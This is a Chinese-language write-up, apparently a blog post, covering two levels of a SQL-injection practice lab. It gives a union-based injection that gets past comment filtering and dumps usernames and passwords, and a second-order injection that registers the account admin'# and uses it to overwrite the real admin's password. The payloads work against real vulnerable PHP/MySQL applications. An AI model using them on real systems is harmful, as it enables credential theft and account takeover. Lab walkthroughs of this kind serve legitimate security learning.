【第二十三关】 基于单引号的过滤字符注入
Ⅰ 直接爆点
测试是否报错,从下面的提示信息,可以知道是单引号
?id='
Ⅱ 代码审计
进一步确定自己的推论,源码中,存在过滤掉一些注释语句
?id=-1'
推测结构: ‘参数XX’ limit 0,1
利用回显确定下自己的推测
?id=-1' union select 1,2,3
实际执行:‘-1’ union select 1,2,3 ’ limit 0,1
多出一个单引号,需要注释掉
构造playload
id=-1' union select 1,2,'3
Ⅲ 注入时间
(1)爆数据库
.
(2)爆数据
?id=-1' union select 1,(select group_concat(id,'~',username,'~',password) from security.users),'3
【第二十四关】二阶注入
Ⅰ 观察
可注册账号密码,不可以找回密码
万能注入,不行
到这里,自己没有什么思路,不知道怎么注入,看了下题目讲到二阶注入,猜测我们需要在注册账号上入手
Ⅱ 代码审计
源码文件,重要的只有四个,下面就依次看一下源码文件的具体功能
forgot_password.php 忘记密码处理页面
只显示图片,不用看
login.php 登录用户处理
登录界面,存在过滤和转义,不好从这里入手
login_create.php 新建用户处理
情况和上一个一样
pass_change.php 登录成功后,有更新操作的处理
更新账号密码时,账户信息没有过滤,是直接更新的,可以利用!!
解析下那个更新sql语句
-- 开始注入,我们在这里,如果注册了一个账户admin
username= admin'# curr_pass=123
-- 并进行,修改密码
pass = 000
-- 开始执行修改操作
"UPDATE users SET PASSWORD='000' where username='admin'#' and passwoorrd ='123' ";
-- 注:csdn有审计,过滤password,这里的passwoorrd相对于password
-- 实际执行,看似我们是修改admin'#,实际上是修改了admin的密码
"UPDATE users SET PASSWORD='000' where username='admin'
Ⅲ 注入时间
注册一个新的,账号:admin’# ,密码:123
登录进去
成功进去,开始修改密码
原密码:123
修改后:000
用admin和刚刚修改的密码,直接登录进入,通过注册一个含有特殊字符的账号,再修改密码,从而修改掉原本的数据库中已存在的账号信息